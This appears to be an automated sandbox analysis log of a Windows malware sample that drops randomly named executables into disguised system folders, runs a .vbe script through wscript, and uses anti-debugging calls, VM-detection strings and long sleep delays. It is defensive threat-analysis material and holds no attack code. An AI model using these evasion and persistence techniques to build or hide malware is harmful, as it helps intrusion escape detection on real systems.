Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\serversessionmonitor\blockfont.exe	Memory allocated: 18B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Memory allocated: 1B2B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1AE10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1AFF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1610000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Memory allocated: 1B100000 memory reserve \| memory write watch

Source: C:\serversessionmonitor\blockfont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 599884
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 599768
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\serversessionmonitor\blockfont.exe	Window / User API: threadDelayed 1153	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Window / User API: threadDelayed 1011	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Window / User API: threadDelayed 366	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Window / User API: threadDelayed 803
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Window / User API: threadDelayed 354

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-22929

Source: C:\serversessionmonitor\blockfont.exe TID: 3384	Thread sleep count: 1153 > 30	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe TID: 3384	Thread sleep count: 1011 > 30	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe TID: 1368	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe TID: 8064	Thread sleep count: 366 > 30	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe TID: 7748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe TID: 7992	Thread sleep count: 300 > 30	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe TID: 7772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7960	Thread sleep count: 803 > 30
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604	Thread sleep time: -599884s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7960	Thread sleep count: 354 > 30
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7604	Thread sleep time: -599768s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7420	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe TID: 7928	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\serversessionmonitor\blockfont.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00D6A5F4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_00D7B8E0

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D7DD72 VirtualQuery,GetSystemInfo,

0_2_00D7DD72

Source: C:\serversessionmonitor\blockfont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 599884
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 599768
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000001.00000003.1740625428.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 5P9EdUgv5r.exe, 00000000.00000003.1632997233.00000000031C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: 5P9EdUgv5r.exe, 00000000.00000003.1632927760.00000000031DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\'
Source: blockfont.exe, 00000004.00000002.1802492153.000000001C16D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:fs
Source: wscript.exe, 00000001.00000003.1740625428.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1835586004.000000001C0D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{Q*

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

API call chain: ExitProcess graph end node

graph_0-23328

Source: C:\serversessionmonitor\blockfont.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D8866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D8866F

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D8753D mov eax, dword ptr fs:[00000030h]

0_2_00D8753D

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Code function: 0_2_00D8B710 GetProcessHeap,

0_2_00D8B710

Source: C:\serversessionmonitor\blockfont.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7F063 SetUnhandledExceptionFilter,	0_2_00D7F063
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D7F22B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D8866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D8866F
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D7EF05

Source: C:\serversessionmonitor\blockfont.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe"	Jump to behavior
